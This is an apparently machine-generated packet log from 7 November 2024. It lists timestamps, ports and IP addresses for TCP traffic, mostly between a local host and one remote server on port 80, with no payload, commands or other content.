Nov 7, 2024 06:01:17.688509941 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688513994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688522100 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688529015 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688540936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688551903 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688554049 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688565016 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688574076 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688576937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688601017 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688628912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688642025 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688652039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688662052 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688663006 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688674927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688679934 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688688993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.688708067 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.688740969 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689382076 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689399958 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689410925 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689424038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689433098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689433098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689439058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689445019 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689459085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689459085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689472914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689485073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689485073 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689496040 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689496994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689508915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689519882 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689519882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689532995 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689543962 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689543962 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689554930 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689558029 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689568996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689580917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689590931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689590931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689603090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689615965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689621925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689625978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689635992 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689644098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689655066 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689661026 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.689661980 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689682007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.689728975 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.690115929 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.690155029 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.706645966 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.706677914 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.706726074 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.706788063 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.707619905 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.707643032 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.707654953 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.707659960 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.715157032 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.715183020 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.715451956 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.715996027 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.716007948 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.771492004 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.771560907 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.771704912 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.840814114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840841055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840854883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840867996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840879917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840893030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840919018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840931892 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840939045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840945005 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840941906 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.840955973 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840961933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840967894 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840975046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840982914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.840986967 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.840995073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841001034 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841017008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841025114 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841029882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841042042 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841051102 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841053963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841077089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841085911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841089010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841105938 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841113091 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841116905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841130972 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841141939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841144085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841156960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841181993 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841200113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841206074 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841213942 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841238976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841244936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841258049 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841268063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841273069 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841279984 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841295004 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841315985 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841325045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841337919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841348886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841365099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841373920 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841383934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841402054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841407061 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841417074 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841423035 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841430902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841444969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841451883 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841470003 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841473103 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841484070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841492891 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841501951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841514111 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841521978 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841523886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841537952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841547966 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841552019 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841559887 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841559887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841587067 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841598034 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841605902 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841609955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841628075 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841630936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841644049 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841659069 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841660023 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841672897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841685057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841705084 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841716051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841720104 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841739893 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841741085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841753960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841762066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841769934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841778994 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841783047 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841799021 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841803074 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841814041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841830015 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841833115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841846943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841854095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841857910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841877937 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841887951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841897964 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841905117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841932058 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.841953993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841974974 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.841988087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842004061 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842011929 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842030048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842041969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842051983 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842072964 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842094898 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842103958 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842113972 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842124939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842135906 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842144966 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842148066 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842159986 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842160940 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842184067 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842185020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842202902 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842210054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842221022 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842235088 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842248917 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842283964 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842295885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842310905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842334032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842351913 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842375994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842387915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842397928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842411995 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842420101 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842439890 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842449903 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842461109 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842473030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842485905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842497110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842510939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842515945 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842525959 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842529058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842540979 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842555046 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842560053 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842571020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842576981 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842585087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842593908 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842597008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842612028 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842621088 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842638969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842650890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842654943 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842664003 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842669964 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842678070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842693090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842700005 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842711926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842725992 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842734098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842736959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842750072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842771053 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842781067 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842792034 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842804909 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842812061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842823982 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842834949 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842844963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842875004 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842950106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842962027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842981100 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842984915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.842993975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.842997074 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843015909 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843039036 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843046904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843058109 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843070984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843081951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843092918 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843122959 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843180895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843193054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843204975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843220949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843226910 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843233109 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843241930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843245029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843276024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843286991 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843502045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843514919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843525887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843544960 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843544960 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843565941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843579054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843585014 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843605995 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843624115 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843626976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843662024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843662977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843693972 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843698978 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843733072 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843748093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843760014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843770027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.843780041 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843838930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.843966007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844014883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844026089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844070911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844096899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844110012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844120026 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844136953 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844161034 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844403028 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844417095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844429970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844449997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844454050 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844463110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844471931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844496012 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844522953 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844556093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844567060 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844568014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844635963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844647884 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844659090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844659090 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844680071 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844701052 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844754934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844794035 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844882965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844893932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844904900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844917059 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.844928980 CET	80	49834	185.215.113.16	192.168.2.4
